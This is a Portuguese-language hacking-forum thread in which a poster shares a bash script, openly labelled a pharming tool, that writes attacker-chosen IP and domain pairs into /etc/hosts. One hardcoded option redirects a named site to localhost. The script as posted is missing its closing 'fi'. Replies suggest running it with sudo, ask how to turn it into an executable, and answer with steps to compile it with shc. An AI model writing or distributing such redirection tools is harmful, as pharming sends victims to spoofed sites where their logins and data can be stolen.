Aeee, o primeiro a postar aqui nessa área. Por enquanto não tenho muito assunto para postar aqui, mas quero começar a movimentar aqui, então fiz um "Insert Pharming" em Shell Script. A idéia veio do user Kratos, que postou um em Phyton, então resolvi fazer o meu em Sh.
Ele foi feito só para estudo, sem chances de usar em SEing's.
#!/bin/bash
# Codezinho (Por Cloudy) para adicionar IP's no arquivo de hosts (Pharming)
clear
echo "Programa que adiciona IP's no arquivo de hosts - Pharming."
echo "Qual metodo deseja usar? [1/2]"
read resp
if [ $resp = 1 ] ; then
echo "Digite o IP:"
read ip
echo "Digite o DNS:"
read dns
echo "$ip $dns" >> /etc/hosts
echo "Operação concluída com sucesso..."
echo "$dns = $ip"
elif [ $resp = 2 ] ; then
echo "Adicionando IPs no arquivo de hosts..."
echo "127.0.0.1 www.darkers.com.br" >> /etc/hosts
else
echo "Escolha 1 ou 2 ignorante"
Pronto, é esse ae. Ele tem que ser executado como root, senão dá erro ao tentar editar o arquivo de hosts.
Se vcs quiserem eu comento, mas acho que não precisa né?
...by Cloudy
Dica coloque o que significa o método 1 e 2 e insira um dialog de login afinal esse code é só pra root né =P
Bela !!!!! Cloudy ....
Parabéns, tem um primo meu que vai gostar de ver isso !!!!!
legal o script... e se usar o "sudo" pra não precisar logar como root ?
Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?
Quote from: "mesofranico"Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?
Staff, desculpem a grosseiria, mas...
Ou my God!Mermão, num dá, porque shellscript é uma linguagem interpretada e só roda em sistemas Unix-Like, ela num é linguagem compilada...
Quote from: "Morte137"Quote from: "mesofranico"Desculpem a pergunta estupida mas como fasso para passar esse ecript para exe?
Staff, desculpem a grosseiria, mas...
Ou my God!
Mermão, num dá, porque shellscript é uma linguagem interpretada e só roda em sistemas Unix-Like, ela num é linguagem compilada...
resumindo o que ele falo:
pq se vc nao sabe oq eh shell script nao vai saber oq ele falou
isso eh pra linux
Existe sim, no site: http://www.datsi.fi.upm.es/~frosal/ tem um programa que traduz o Shell Script para um programa C que depois pode ser compilado para um binario.
Baixe o arquivo tar xzvf shc-3.8.6.tgz:
wget -c http://www.datsi.fi.upm.es/~frosal/sources/shc-3.8.6.tgz
Descompacte o mesmo:
tar xzvf shc-3.8.6.tgz
Entre no diretorio shc-3.8.6 e compile o programa:
make
Para compilar um Shell Script é só executar:
shc -r -v -f /tmp/SeuScript.sh
-r = Compatibilidade entre Linux
-v = Modo Verbose
-f = Arquivo que será compilado
legal, já vi esse programa, mas nunca testei ;)